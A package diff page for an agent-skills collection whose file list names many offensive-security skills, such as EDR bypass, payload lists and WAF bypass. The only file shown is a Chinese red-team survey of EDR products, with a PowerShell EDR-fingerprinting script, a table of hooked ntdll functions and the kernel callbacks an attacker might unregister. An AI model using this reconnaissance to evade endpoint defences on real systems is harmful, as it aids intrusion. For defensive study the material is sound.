opencode-skills-collection 4.0.43 → 4.0.45
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bundled-skills/.antigravity-install-manifest.json +47 -1
- package/bundled-skills/api-rate-limit-handler/SKILL.md +282 -0
- package/bundled-skills/api-security/SKILL.md +205 -0
- package/bundled-skills/api-security/references/jwt-oauth-testing.md +123 -0
- package/bundled-skills/api-security/references/rest-graphql-testing.md +137 -0
- package/bundled-skills/apk-reverse/SKILL.md +438 -0
- package/bundled-skills/apk-reverse/references/android-advanced.md +365 -0
- package/bundled-skills/apk-reverse/references/apk-security-checklist.md +230 -0
- package/bundled-skills/apk-reverse/references/frida-bypass-kit.md +70 -0
- package/bundled-skills/apk-reverse/references/frida-cookbook.md +472 -0
- package/bundled-skills/attack-chain/SKILL.md +185 -0
- package/bundled-skills/attack-chain/references/attack-playbooks.md +126 -0
- package/bundled-skills/attack-chain/references/evasion-cheatsheet.md +133 -0
- package/bundled-skills/attack-chain/references/lifecycle-checklist.md +37 -0
- package/bundled-skills/attack-chain/references/phases.md +490 -0
- package/bundled-skills/binary-diff/SKILL.md +320 -0
- package/bundled-skills/binary-diff/references/prompt-template.md +173 -0
- package/bundled-skills/browser-extension-reverse/SKILL.md +99 -0
- package/bundled-skills/browser-extension-reverse/references/extension-analysis.md +10 -0
- package/bundled-skills/case-review/SKILL.md +167 -0
- package/bundled-skills/cloud-k8s/SKILL.md +124 -0
- package/bundled-skills/cloud-k8s/references/k8s-cloud-checklist.md +16 -0
- package/bundled-skills/code-audit/SKILL.md +92 -0
- package/bundled-skills/code-audit/references/sast-review-checklist.md +10 -0
- package/bundled-skills/database-security/SKILL.md +81 -0
- package/bundled-skills/database-security/references/db-misconfig-checklist.md +9 -0
- package/bundled-skills/diagram-generator/SKILL.md +199 -0
- package/bundled-skills/diagram-generator/references/README.md +3 -0
- package/bundled-skills/diagram-generator/references/diagram-patterns.md +254 -0
- package/bundled-skills/digital-forensics/SKILL.md +93 -0
- package/bundled-skills/digital-forensics/references/forensics-triage.md +10 -0
- package/bundled-skills/docs/integrations/jetski-cortex.md +3 -3
- package/bundled-skills/docs/integrations/jetski-gemini-loader/README.md +1 -1
- package/bundled-skills/docs/maintainers/repo-growth-seo.md +1 -1
- package/bundled-skills/docs/maintainers/skills-update-guide.md +1 -1
- package/bundled-skills/docs/sources/sources.md +9 -0
- package/bundled-skills/docs/users/aas-core.md +1 -1
- package/bundled-skills/docs/users/bundles.md +1 -1
- package/bundled-skills/docs/users/claude-code-skills.md +1 -1
- package/bundled-skills/docs/users/gemini-cli-skills.md +1 -1
- package/bundled-skills/docs/users/kiro-integration.md +1 -1
- package/bundled-skills/docs/users/usage.md +3 -3
- package/bundled-skills/docs/users/visual-guide.md +4 -4
- package/bundled-skills/docs-generator/SKILL.md +197 -0
- package/bundled-skills/docs-generator/references/security-report-templates.md +348 -0
- package/bundled-skills/docs-generator/references/templates.md +102 -0
- package/bundled-skills/docs-generator/references/vendor-report-rules.md +263 -0
- package/bundled-skills/dotnet-reverse/SKILL.md +197 -0
- package/bundled-skills/dotnet-reverse/references/common-workflow.md +171 -0
- package/bundled-skills/dotnet-reverse/references/obfuscators.md +145 -0
- package/bundled-skills/dotnet-reverse/references/sharp-tools.md +164 -0
- package/bundled-skills/edr-bypass-re/SKILL.md +248 -0
- package/bundled-skills/edr-bypass-re/references/hook-survey.md +226 -0
- package/bundled-skills/edr-bypass-re/references/telemetry-blinding.md +346 -0
- package/bundled-skills/edr-bypass-re/references/unhook-techniques.md +338 -0
- package/bundled-skills/email-security/SKILL.md +81 -0
- package/bundled-skills/email-security/references/email-auth-checklist.md +8 -0
- package/bundled-skills/firmware-pentest/SKILL.md +381 -0
- package/bundled-skills/firmware-pentest/references/emba-automated-analysis.md +192 -0
- package/bundled-skills/firmware-pentest/references/emulation-and-fuzz.md +337 -0
- package/bundled-skills/firmware-pentest/references/extraction-methodology.md +285 -0
- package/bundled-skills/ghidra-reverse/SKILL.md +98 -0
- package/bundled-skills/ghidra-reverse/references/ghidra-cheatsheet.md +12 -0
- package/bundled-skills/go-rust-reverse/SKILL.md +82 -0
- package/bundled-skills/go-rust-reverse/references/go-rust-notes.md +5 -0
- package/bundled-skills/hardware-security/SKILL.md +80 -0
- package/bundled-skills/hardware-security/references/debug-interface-triage.md +7 -0
- package/bundled-skills/ida-reverse/SKILL.md +401 -0
- package/bundled-skills/ida-reverse/references/LOCAL-SETUP.md +66 -0
- package/bundled-skills/ida-reverse/references/ida-mcp-cheatsheet.md +515 -0
- package/bundled-skills/identity-federation/SKILL.md +81 -0
- package/bundled-skills/identity-federation/references/sso-flow-checklist.md +9 -0
- package/bundled-skills/instructree/SKILL.md +94 -0
- package/bundled-skills/js-reverse/SKILL.md +239 -0
- package/bundled-skills/js-reverse/references/ast-deobfuscation.md +3 -0
- package/bundled-skills/js-reverse/references/automation-entry.md +12 -0
- package/bundled-skills/js-reverse/references/env-patching.md +6 -0
- package/bundled-skills/js-reverse/references/fallbacks.md +8 -0
- package/bundled-skills/js-reverse/references/instrumentation.md +9 -0
- package/bundled-skills/js-reverse/references/local-rebuild.md +11 -0
- package/bundled-skills/js-reverse/references/mcp-task-template.md +30 -0
- package/bundled-skills/js-reverse/references/node-env-rebuild.md +9 -0
- package/bundled-skills/js-reverse/references/output-contract.md +9 -0
- package/bundled-skills/js-reverse/references/task-artifacts.md +11 -0
- package/bundled-skills/js-reverse/references/task-input-template.md +11 -0
- package/bundled-skills/js-reverse/references/tool-defaults.md +7 -0
- package/bundled-skills/llm-security/SKILL.md +160 -0
- package/bundled-skills/llm-security/references/agent-obedience-engineering.md +243 -0
- package/bundled-skills/llm-security/references/agent-security-testing.md +116 -0
- package/bundled-skills/llm-security/references/owasp-llm-top10.md +48 -0
- package/bundled-skills/llm-security/references/prompt-injection-methodology.md +107 -0
- package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package-lock.json +4 -4
- package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package.json +1 -1
- package/bundled-skills/macos-reverse/SKILL.md +85 -0
- package/bundled-skills/macos-reverse/references/macho-triage.md +10 -0
- package/bundled-skills/malware-analysis/SKILL.md +311 -0
- package/bundled-skills/malware-analysis/references/anti-analysis-techniques.md +205 -0
- package/bundled-skills/malware-analysis/references/sandbox-orchestration.md +204 -0
- package/bundled-skills/malware-analysis/references/yara-sigma-rules.md +232 -0
- package/bundled-skills/mobile-reverse/SKILL.md +222 -0
- package/bundled-skills/mobile-reverse/references/anti-detection-bypass.md +182 -0
- package/bundled-skills/mobile-reverse/references/frida-objection-deep.md +218 -0
- package/bundled-skills/mobile-reverse/references/ios-reverse-guide.md +177 -0
- package/bundled-skills/muapi-media/SKILL.md +311 -0
- package/bundled-skills/ot-ics/SKILL.md +117 -0
- package/bundled-skills/ot-ics/references/ot-safe-assessment.md +10 -0
- package/bundled-skills/patch-diff-exploit/SKILL.md +278 -0
- package/bundled-skills/patch-diff-exploit/references/diff-tools-comparison.md +271 -0
- package/bundled-skills/patch-diff-exploit/references/patch-tuesday-workflow.md +253 -0
- package/bundled-skills/patch-diff-exploit/references/root-cause-and-poc.md +198 -0
- package/bundled-skills/pentest-tools/SKILL.md +346 -0
- package/bundled-skills/pentest-tools/references/ai-pentest-agents.md +148 -0
- package/bundled-skills/pentest-tools/references/ai-pentesting-landscape-2026.md +73 -0
- package/bundled-skills/pentest-tools/references/automation-loop-pattern.md +153 -0
- package/bundled-skills/pentest-tools/references/awesome-pentest-digest.md +175 -0
- package/bundled-skills/pentest-tools/references/burpsuite-mcp-guide.md +769 -0
- package/bundled-skills/pentest-tools/references/client-side-lab-playbook.md +155 -0
- package/bundled-skills/pentest-tools/references/kali-mcp-ecosystem.md +119 -0
- package/bundled-skills/pentest-tools/references/msf-protocol.md +169 -0
- package/bundled-skills/pentest-tools/references/network-attack-defense.md +350 -0
- package/bundled-skills/pentest-tools/references/nuclei-guide-2026.md +157 -0
- package/bundled-skills/pentest-tools/references/payloads.md +32 -0
- package/bundled-skills/pentest-tools/references/pentest-ai-agents-matrix.md +117 -0
- package/bundled-skills/pentest-tools/references/pentest-loop.md +270 -0
- package/bundled-skills/pentest-tools/references/recon-pipeline.md +154 -0
- package/bundled-skills/pentest-tools/references/templates/findings.md +21 -0
- package/bundled-skills/pentest-tools/references/templates/progress.md +17 -0
- package/bundled-skills/pentest-tools/references/templates/rules.md +35 -0
- package/bundled-skills/pentest-tools/references/templates/scope.md +29 -0
- package/bundled-skills/pentest-tools/references/templates/task_plan.md +27 -0
- package/bundled-skills/pentest-tools/references/web-attack-cheatsheet.md +387 -0
- package/bundled-skills/pentest-tools/src-hunter/SKILL.md +243 -0
- package/bundled-skills/pentest-tools/src-hunter/references/README.en.md +115 -0
- package/bundled-skills/pentest-tools/src-hunter/references/README.md +148 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/00-index.md +44 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md +515 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/default-credentials-cn.md +274 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/00-index.md +66 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/banking-finance.md +338 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/telecom-isp.md +315 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/00-index.md +68 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/01-attack-priority.md +143 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md +357 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/03-evidence-discipline.md +205 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/04-control-gap-hunting.md +238 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/05-srctimebox-priority.md +161 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/adcs/346/224/273/345/207/273.md +254 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange/346/224/273/345/207/273.md +254 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint/346/224/273/345/207/273.md +113 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//344/277/241/346/201/257/346/224/266/351/233/206.md +947 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/205/215/346/235/200/344/270/216/350/247/204/351/201/277.md +780 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/207/255/350/257/201/347/252/203/345/217/226.md +1259 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/237/237/346/270/227/351/200/217/346/224/273/345/207/273.md +753 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/346/217/220/345/215/207.md +819 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/347/273/264/346/214/201.md +577 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/250/252/345/220/221/347/247/273/345/212/250.md +838 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//351/232/247/351/201/223/344/273/243/347/220/206.md +604 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ai/345/256/211/345/205/250.md +698 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/api/345/256/211/345/205/250.md +1935 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/csrf/350/267/250/347/253/231/350/257/267/346/261/202/344/274/252/351/200/240.md +952 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/jwt/345/256/211/345/205/250.md +496 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi/346/226/207/344/273/266/345/214/205/345/220/253.md +1365 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce/350/277/234/347/250/213/344/273/243/347/240/201/346/211/247/350/241/214.md +1329 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/sql-nosql/346/263/250/345/205/245.md +1924 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssrf/346/234/215/345/212/241/347/253/257/350/257/267/346/261/202/344/274/252/351/200/240.md +1256 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti/346/250/241/346/235/277/346/263/250/345/205/245.md +1151 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/websocket/345/256/211/345/205/250.md +487 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss/350/267/250/347/253/231/350/204/232/346/234/254.md +1465 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xxe/345/256/236/344/275/223/346/263/250/345/205/245.md +815 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/270/232/345/212/241/351/200/273/350/276/221/346/274/217/346/264/236.md +594 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/272/221/345/256/211/345/205/250/346/274/217/346/264/236.md +561 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/276/233/345/272/224/351/223/276/346/224/273/345/207/273.md +399 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/216/237/345/236/213/351/223/276/346/261/241/346/237/223.md +401 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/274/200/346/224/276/351/207/215/345/256/232/345/220/221.md +396 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/226/207/344/273/266/346/274/217/346/264/236.md +0 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/241/206/346/236/266/346/274/217/346/264/236.md +2304 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/202/271/345/207/273/345/212/253/346/214/201.md +339 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/274/223/345/255/230/344/270/216cdn/345/256/211/345/205/250.md +497 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/256/244/350/257/201/346/274/217/346/264/236.md +1778 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/257/267/346/261/202/350/265/260/347/247/201.md +854 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/index.md +69 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/web/346/270/227/351/200/217.md +662 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/windows/346/270/227/351/200/217.md +100 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//344/277/241/346/201/257/346/224/266/351/233/206.md +852 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/206/205/347/275/221/346/270/227/351/200/217.md +873 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/207/255/350/257/201/347/252/203/345/217/226.md +186 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/237/237/346/270/227/351/200/217.md +50 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/257/206/347/240/201/346/224/273/345/207/273.md +462 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/235/203/351/231/220/346/217/220/345/215/207.md +168 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/274/217/346/264/236/345/210/251/347/224/250.md +445 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/263/273/347/273/237/345/221/275/344/273/244.md +410 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/272/242/351/230/237/345/267/245/345/205/267.md +64 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/274/226/347/240/201/350/247/243/347/240/201.md +226 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//351/232/247/351/201/223/344/273/243/347/220/206.md +84 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/waf-bypass.md +6504 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/00-index.md +57 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/api-rest.md +2050 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/arbitrary-x-authz.md +481 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/dos.md +615 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/file-upload.md +1365 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/graphql.md +253 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/http-smuggling.md +924 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/info-disclosure.md +432 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/intranet-postexp.md +4845 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md +1394 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/logic-flaws.md +1796 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/mobile.md +397 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/oauth-saml-jwt.md +2504 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md +1297 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/race-conditions.md +207 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/rce.md +4829 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/sqli.md +1620 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/ssrf-cache-host.md +2098 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/unauth-access.md +330 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/xss.md +1159 -0
- package/bundled-skills/pentest-tools/src-hunter/references/templates/report-submission.md +346 -0
- package/bundled-skills/pentest-tools/src-hunter/references/tools/mcp-jshook.md +174 -0
- package/bundled-skills/protocol-reverse/SKILL.md +108 -0
- package/bundled-skills/protocol-reverse/references/protocol-workflow.md +29 -0
- package/bundled-skills/pwn-chain/SKILL.md +209 -0
- package/bundled-skills/pwn-chain/references/heap-pwn.md +283 -0
- package/bundled-skills/pwn-chain/references/kernel-pwn.md +370 -0
- package/bundled-skills/pwn-chain/references/stack-pwn.md +312 -0
- package/bundled-skills/radare2/SKILL.md +460 -0
- package/bundled-skills/radare2/references/cheatsheet.md +129 -0
- package/bundled-skills/radio-sdr/SKILL.md +77 -0
- package/bundled-skills/radio-sdr/references/sdr-lab-rules.md +6 -0
- package/bundled-skills/reverse-browser-automation/SKILL.md +249 -0
- package/bundled-skills/reverse-browser-automation/references/playwright-cheatsheet.md +425 -0
- package/bundled-skills/reverse-engineering/SKILL.md +213 -0
- package/bundled-skills/reverse-engineering/dsl-vm-reverse/SKILL.md +388 -0
- package/bundled-skills/reverse-engineering/references/ai-assisted-re.md +149 -0
- package/bundled-skills/reverse-engineering/references/anti-analysis.md +836 -0
- package/bundled-skills/reverse-engineering/references/awesome-re-resources.md +135 -0
- package/bundled-skills/reverse-engineering/references/crypto-decode-tools.md +220 -0
- package/bundled-skills/reverse-engineering/references/elf-analysis.md +296 -0
- package/bundled-skills/reverse-engineering/references/field-notes.md +540 -0
- package/bundled-skills/reverse-engineering/references/go-reverse.md +240 -0
- package/bundled-skills/reverse-engineering/references/kernel-driver-reverse.md +298 -0
- package/bundled-skills/reverse-engineering/references/languages-compiled.md +587 -0
- package/bundled-skills/reverse-engineering/references/languages-platforms.md +486 -0
- package/bundled-skills/reverse-engineering/references/languages.md +499 -0
- package/bundled-skills/reverse-engineering/references/nonpe-format-cookbook.md +301 -0
- package/bundled-skills/reverse-engineering/references/ollvm-deobfuscation.md +501 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf-2.md +397 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf-3.md +719 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf.md +532 -0
- package/bundled-skills/reverse-engineering/references/patterns.md +801 -0
- package/bundled-skills/reverse-engineering/references/platforms-hardware.md +304 -0
- package/bundled-skills/reverse-engineering/references/platforms.md +442 -0
- package/bundled-skills/reverse-engineering/references/re-agent-workflow.md +240 -0
- package/bundled-skills/reverse-engineering/references/tools-advanced.md +822 -0
- package/bundled-skills/reverse-engineering/references/tools-dynamic.md +846 -0
- package/bundled-skills/reverse-engineering/references/tools.md +546 -0
- package/bundled-skills/supply-chain-security/SKILL.md +180 -0
- package/bundled-skills/supply-chain-security/references/cicd-pipeline-security.md +137 -0
- package/bundled-skills/supply-chain-security/references/sbom-sca-methodology.md +74 -0
- package/bundled-skills/thick-client/SKILL.md +104 -0
- package/bundled-skills/thick-client/references/thick-client-checklist.md +9 -0
- package/bundled-skills/threat-hunting/SKILL.md +94 -0
- package/bundled-skills/threat-hunting/references/hunting-loop.md +5 -0
- package/bundled-skills/threat-intelligence/SKILL.md +176 -0
- package/bundled-skills/threat-intelligence/references/x-public-intelligence.md +93 -0
- package/bundled-skills/tree-ring-memory/SKILL.md +29 -9
- package/bundled-skills/wifi-wireless/SKILL.md +80 -0
- package/bundled-skills/wifi-wireless/references/wireless-lab-rules.md +6 -0
- package/bundled-skills/windows-ad/SKILL.md +109 -0
- package/bundled-skills/windows-ad/references/ad-attack-paths.md +12 -0
- package/package.json +1 -1
- package/skills_index.json +1214 -2
|
@@ -0,0 +1,226 @@
|
|
|
1
|
+
# EDR Hook 调研速查
|
|
2
|
+
|
|
3
|
+
> 仅限授权红队 / 对抗演练 / 自有产品测试,禁止用于未授权目标。
|
|
4
|
+
|
|
5
|
+
本文档汇总主流 EDR / AV 在用户态与内核态的监控点,供红队侦察阶段快速定位"该处理什么"。
|
|
6
|
+
|
|
7
|
+
## 1. 主流 EDR 指纹与 hook 模式速查
|
|
8
|
+
|
|
9
|
+
| 厂商 / 产品 | 用户态组件 | 内核驱动 | 主要监控面 |
|
|
10
|
+
|------------|-----------|---------|-----------|
|
|
11
|
+
| CrowdStrike Falcon | `CSFalconService.exe`, `CSAgent.sys` 注入到目标进程 | `CSAgent.sys`, `CSBoot.sys` | 重内核 callback + ETW-TI;用户态 hook 较少(云查) |
|
|
12
|
+
| Microsoft Defender for Endpoint (MDE) | `MsMpEng.exe`, `MpClient.dll` | `WdFilter.sys`, `WdBoot.sys`, `WdNisDrv.sys` | AMSI + ETW-TI + ntdll inline hook + kernel callback 全面 |
|
|
13
|
+
| SentinelOne | `SentinelAgent.exe`, `SentinelHelperService.exe` | `SentinelMonitor.sys`, `SentinelDeviceControl.sys` | ntdll 用户态 hook 重 + 内核 callback + 自有 ETW provider |
|
|
14
|
+
| Elastic Defend (原 Endpoint Security) | `elastic-endpoint.exe` | `elastic-endpoint-driver.sys` | 主要 ETW + 少量 ntdll hook,配合 Elastic Agent 上传 |
|
|
15
|
+
| ESET | `ekrn.exe`, `eamsi.dll` | `eamonm.sys`, `epfwwfp.sys` | 用户态 hook 非常多(NtCreateFile / NtOpenProcess 等) |
|
|
16
|
+
| Sophos Intercept X | `SophosFileScanner.exe`, `SophosNtpService.exe` | `SophosED.sys`, `hmpalert.sys` | ntdll hook + HMPA 内存防护 + 内核 callback |
|
|
17
|
+
| Kaspersky | `avp.exe`, `klif.sys` | `klif.sys`, `klhk.sys` | 重用户态 hook + KLIF 自有微过滤 + 网络过滤驱动 |
|
|
18
|
+
| Trend Micro Apex One | `TmListen.exe`, `TmCCSF.dll` | `tmcomm.sys`, `tmactmon.sys` | 用户态 hook + 行为监控驱动 |
|
|
19
|
+
| Carbon Black | `RepMgr.exe`, `RepWAV.exe` | `ParityDriver.sys` | 偏内核 callback + ETW |
|
|
20
|
+
|
|
21
|
+
### 快速指纹脚本
|
|
22
|
+
|
|
23
|
+
```powershell
|
|
24
|
+
$edrSigs = @{
|
|
25
|
+
'CSAgent' = 'CrowdStrike Falcon'
|
|
26
|
+
'SentinelAgent' = 'SentinelOne'
|
|
27
|
+
'elastic-endpoint' = 'Elastic Defend'
|
|
28
|
+
'ekrn' = 'ESET'
|
|
29
|
+
'MsMpEng' = 'Microsoft Defender'
|
|
30
|
+
'SophosFileScanner' = 'Sophos Intercept X'
|
|
31
|
+
'avp' = 'Kaspersky'
|
|
32
|
+
'TmListen' = 'Trend Micro Apex One'
|
|
33
|
+
'cb' = 'Carbon Black'
|
|
34
|
+
}
|
|
35
|
+
|
|
36
|
+
Get-Process | ForEach-Object {
|
|
37
|
+
foreach ($k in $edrSigs.Keys) {
|
|
38
|
+
if ($_.ProcessName -match $k) {
|
|
39
|
+
"[+] $($edrSigs[$k]) detected: $($_.ProcessName) (PID $($_.Id))"
|
|
40
|
+
}
|
|
41
|
+
}
|
|
42
|
+
}
|
|
43
|
+
|
|
44
|
+
Get-ChildItem 'C:\Windows\System32\drivers\*.sys' |
|
|
45
|
+
Where-Object { $_.Name -match 'CSAgent|Sentinel|elastic|eam|WdFilter|Sophos|klif|tmcomm|Parity' } |
|
|
46
|
+
Select-Object Name, VersionInfo
|
|
47
|
+
```
|
|
48
|
+
|
|
49
|
+
## 2. 用户态 ntdll hook 重点函数
|
|
50
|
+
|
|
51
|
+
EDR 几乎一定 hook 的 `ntdll.dll` 导出(按 ATT&CK 行为分组):
|
|
52
|
+
|
|
53
|
+
| 函数 | 监控的行为 | ATT&CK |
|
|
54
|
+
|------|-----------|--------|
|
|
55
|
+
| `NtCreateThreadEx` | 远程线程注入、QueueUserAPC 注入 | T1055.002 / T1055.004 |
|
|
56
|
+
| `NtAllocateVirtualMemory` | shellcode 申请 RWX 内存 | T1055 |
|
|
57
|
+
| `NtAllocateVirtualMemoryEx` | 跨进程内存申请(Win10+ 新 API) | T1055 |
|
|
58
|
+
| `NtProtectVirtualMemory` | 改页面权限 RW→RX | T1055 |
|
|
59
|
+
| `NtWriteVirtualMemory` | 跨进程写 shellcode | T1055.012 |
|
|
60
|
+
| `NtMapViewOfSection` | section-based 注入(Process Doppelganging / Ghosting) | T1055.013 |
|
|
61
|
+
| `NtCreateSection` | 配合 MapViewOfSection | T1055.013 |
|
|
62
|
+
| `NtOpenProcess` | 打开目标进程拿 handle | T1057 |
|
|
63
|
+
| `NtQueueApcThread` / `NtQueueApcThreadEx` | APC 注入 | T1055.004 |
|
|
64
|
+
| `NtCreateProcess` / `NtCreateProcessEx` / `NtCreateUserProcess` | 创建子进程(含 PPID spoof) | T1106 |
|
|
65
|
+
| `NtSetContextThread` | 改线程上下文(线程劫持注入) | T1055.003 |
|
|
66
|
+
| `NtResumeThread` | 注入完后恢复线程 | T1055 |
|
|
67
|
+
| `NtQuerySystemInformation` | 枚举进程 / 驱动 / handle | T1057 / T1082 |
|
|
68
|
+
| `NtAdjustPrivilegesToken` | 提权获取 SeDebugPrivilege 等 | T1134 |
|
|
69
|
+
| `NtLoadDriver` | 加载内核驱动(BYOVD) | T1543.003 |
|
|
70
|
+
|
|
71
|
+
### 验证 hook 是否存在
|
|
72
|
+
|
|
73
|
+
```powershell
|
|
74
|
+
# 简单:把磁盘 ntdll 和当前进程的 ntdll 反汇编 diff
|
|
75
|
+
# 1. 拿磁盘 ntdll
|
|
76
|
+
copy C:\Windows\System32\ntdll.dll C:\temp\ntdll_clean.dll
|
|
77
|
+
|
|
78
|
+
# 2. 在 windbg 中 attach 任意进程,导出当前 ntdll 的 .text 段
|
|
79
|
+
# .writemem c:\temp\ntdll_live.bin ntdll!.text L?<size>
|
|
80
|
+
|
|
81
|
+
# 3. 用 IDA / radare2 反汇编 NtAllocateVirtualMemory,正常应该是:
|
|
82
|
+
# mov r10, rcx
|
|
83
|
+
# mov eax, <SSN>
|
|
84
|
+
# test byte ptr [...]
|
|
85
|
+
# jne ...
|
|
86
|
+
# syscall
|
|
87
|
+
# ret
|
|
88
|
+
# 如果第一条变成 jmp <某地址>,那就是 hook
|
|
89
|
+
```
|
|
90
|
+
|
|
91
|
+
## 3. 内核 callback 监控点
|
|
92
|
+
|
|
93
|
+
EDR 注册的常见内核回调(一律可被 `attack-chain` 中的 BYOVD 路线 unregister,但代价高):
|
|
94
|
+
|
|
95
|
+
| API | 注册的回调时机 | 防御方用途 |
|
|
96
|
+
|-----|--------------|-----------|
|
|
97
|
+
| `PsSetCreateProcessNotifyRoutineEx` | 进程创建 / 退出 | 拦截可疑 child process |
|
|
98
|
+
| `PsSetCreateThreadNotifyRoutine` | 线程创建 / 退出 | 检测远程线程注入 |
|
|
99
|
+
| `PsSetLoadImageNotifyRoutine` | DLL / EXE 加载到任意进程 | 模块完整性 / 未签名拦截 |
|
|
100
|
+
| `CmRegisterCallback` / `CmRegisterCallbackEx` | 注册表操作 | 持久化检测 |
|
|
101
|
+
| `ObRegisterCallbacks` | `OpenProcess` / `OpenThread` 句柄请求 | 防止 LSASS 句柄获取 (T1003.001) |
|
|
102
|
+
| `MmRegisterPhysicalMemoryCallback` | 物理内存映射 | 防 DMA / 内存取证 |
|
|
103
|
+
| `IoRegisterFsRegistrationChange` | 文件系统注册 | minifilter 协同 |
|
|
104
|
+
| `KeRegisterNmiCallback` | NMI(极少 EDR 用) | 异常监控 |
|
|
105
|
+
| `EtwRegister` (内核侧) | 内核 ETW 上报 | 跟 ETW-TI 共生 |
|
|
106
|
+
|
|
107
|
+
### 用 windbg 枚举已注册 callback
|
|
108
|
+
|
|
109
|
+
```text
|
|
110
|
+
0: kd> dx -r1 nt!PspCreateProcessNotifyRoutine
|
|
111
|
+
